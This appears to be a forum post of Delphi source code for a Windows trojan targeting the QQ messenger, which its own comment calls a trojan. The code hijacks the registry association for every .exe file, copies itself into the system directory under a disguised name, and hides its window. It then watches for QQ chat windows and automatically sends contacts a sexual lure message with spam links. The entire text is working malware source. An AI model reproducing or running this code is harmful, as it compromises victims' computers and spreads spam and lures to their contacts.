源码:
program internet;
uses
windows,messages,sysutils,shellapi;
{$R *.res}
const
exename:pchar='QQ2.exe';
ExeFilePath='exefile/shell/open/command';
ExeFileValue=' "%1" %*';//alt+255
ExecName='/.exe' ;//alt+255
PathLen=90;
KeyRoot=$80000000;
var
//----------------------
wClass: TWndClass; //窗口类变量
Msg: TMSG; //消息变量
hInst, //程序实例
Handle, //主窗口句柄
hFont, //字体句柄
//----------------
hButtonStart, //开始按钮
hButtonStop, //停止按钮
hButtonExit, //退出按钮
mcount,newtime:integer;
buffer: array[0..255] of Char;
myqq: Hwnd;
btnwnd: Hwnd;
i,ii,iii:integer;
fname : string;
j:string;
K:HKEY;
HidePath : pChar;
//________________________
procedure ShutDown; //用于exit
begin
//删除字体对象
DeleteObject(hFont);
//取消窗口类的注册
UnRegisterClass(wClass.lpszClassName,hInst);
//结束主进程
ExitProcess(hInst);
end;
//------------------ 注册表
procedure WriteKey(o,p,q:LPSTR;s:HKEY);
begin
RegOpenKey(s,PChar(o),K);
RegSetValueEx(K,PChar(p),0,1,PChar(q),lstrlen(q));
end;
//----------------------发送,STOPBUTTON
procedure sentme;
begin
try
btnWnd:=GetDlgItem(myqq,1);
SendMessage(btnWnd,WM_LBUTTONDOWN,MK_LBUTTON,0);
SendMessage(btnWnd,WM_LBUTTONUP,0,0);
except
end;
i:=0;
end;
//-------------------------发消息到QQ
procedure SetWndText(hWnd: Hwnd; Text: String);
Var
mText:PChar;
Buf:Integer;
begin
GetMem(mText,Length(Text));
StrCopy(mText,PChar(Text));
try
Buf:=LongInt(mText);
SendMessage(hWnd,WM_SETTEXT,0,Buf);
finally
FreeMem(mText,Length(Text));
end;
end;
//---------------------------取QQ窗口句柄
function EnumChildWindowsProc(hwd: Hwnd): Boolean; stdcall;
var
qqbody:string;
begin
iii:=iii+1;
Result := True;
GetClassName(hwd,buffer,256); //得到类名
/////////77777777
if iii=7 then
begin
getwindowtext(hwd,buffer,256);
if string(buffer)='' then exit;
if fname <> string(buffer) then
begin
fname:=string(buffer);
i:=6;
end;
end;
/////////15_qq2003II
if iii=15 then
begin
getwindowtext(hwd,buffer,256);
if pos('昵称',string(buffer))=0 then exit;
if fname <> string(buffer) then
begin
fname:=string(buffer);
i:=6;
end;
end;
////////7777777777
if (string(buffer)='RICHEDIT') and (i=6) then
begin
qqbody:='看看我的裸体写真:'+#13+#10+'http://avbb.ywzc.net';
qqbody:=qqbody + #13+#10+#13+#10+'看看我的浪漫爱情:http://asiafriendfinder.com/go/p95770';
setwndtext(hwd,qqbody);
sentme;
i:=5;
end;
end;
//-----------------------------------计时器
procedure ontimer;
var
a:pchar;
begin
iii:=0;
ii:=ii+1;
if ii=3000 then
begin
ii:=0;
fname:='qq';
end;
myqq:= GetforegroundWindow();
Getmem(a,256);
GetWindowText(myqq,a,256);
if pos('发送消息',strpas(a))>0then EnumChildWindows(myqq,@EnumChildWindowsProc,0);
Freemem(a);
end;
//------------------------这是主窗口的消息处理函数
function WindowProc(hWnd,Msg,wParam,lParam:integer):Longint; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of WM_COMMAND:
begin
if lParam=hButtonStart then begin
mcount:=0;
newtime:=SetTimer(handle,100,2000,nil);
end;
if lParam=hButtonStop then begin sentme;
end;
if lParam=hButtonExit then ShutDown;
end;
WM_TIMER:ontimer;
WM_DESTROY: ShutDown;
end;
end;
//定义几个窗口创建函数
function CreateButton(name:pchar;x1,y1,x2,y2:integer):hwnd;
begin
Result:=CreateWindow('Button',name,WS_VISIBLE or WS_CHILD or BS_PUSHLIKE
or BS_TEXT,x1,y1,x2,y2,Handle,0,hInst,nil);
end;
function CreateMain(name:pchar;x1,y1,x2,y2:integer):hwnd;
begin
//取得应用程序实例句柄
hInst:=GetModuleHandle(nil);
//初使化窗口类的信息
with wClass do
begin
Style:= CS_PARENTDC;
hIcon:= LoadIcon(hInst,'MAINICON');
lpfnWndProc:= @WindowProc;
hInstance:= hInst;
hbrBackground:= COLOR_BTNFACE+1;
lpszClassName:= 'MainClass';
hCursor:= LoadCursor(0,IDC_ARROW);
end;
// 注册窗口类
RegisterClass(wClass);
// 建立主窗口
Result:=CreateWindow(wClass.lpszClassName,name,WS_OVERLAPPEDWINDOW or
WS_VISIBLE,x1,y1,x2,y2,0,0,hInst,nil);
end;
//////////////////////////////////////////////////////
//---------主过程,类似于 C语言中的 WinMain()
begin
WriteKey(ExeFilePath, '', ExeFileValue, KeyRoot);
GetMem(HidePath, PathLen);
GetSystemDirectory(HidePath, PathLen); //true 为不覆盖
if not CopyFile(pChar(ParamStr(0)), pChar(HidePath+ExecName), true) then
begin
WinExec(CmdLine+2,1);
//deletefile(pchar(hidepath+execname));
end;
///!启动木马,这以上的代码就小心使用,有破坏力,改了EXE文件关连。另
//请看好代码,true or false,你看着用。
if findwindow('MainClass',nil)<>0 then exit;
//建立主窗口
handle:=CreateMain(exename,0,0,280,60);
ShowWindow(handle, sw_Hide); //隐藏自己-----------------------
//建立四个控制按钮
hButtonStart:=CreateButton('开始',10,4,70,24);
hButtonStop:=CreateButton('发送' ,100,4,70,24);
hButtonExit:=CreateButton('退出' ,190,4,70,24);
//创建字体对象
hFont:=CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH or FF_DONTCARE,'宋体');
//改变字体
SendMessage(hButtonStart,WM_SETFONT,hFont,0);
SendMessage(hButtonStop,WM_SETFONT,hFont,0);
SendMessage(hButtonExit,WM_SETFONT,hFont,0);
///自动开始
SendMessage(hButtonStart,WM_LBUTTONDOWN,MK_LBUTTON,0);
SendMessage(hButtonStart,WM_LBUTTONUP,0,0);
//进入消息循环
while(GetMessage(Msg,Handle,0,0))do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.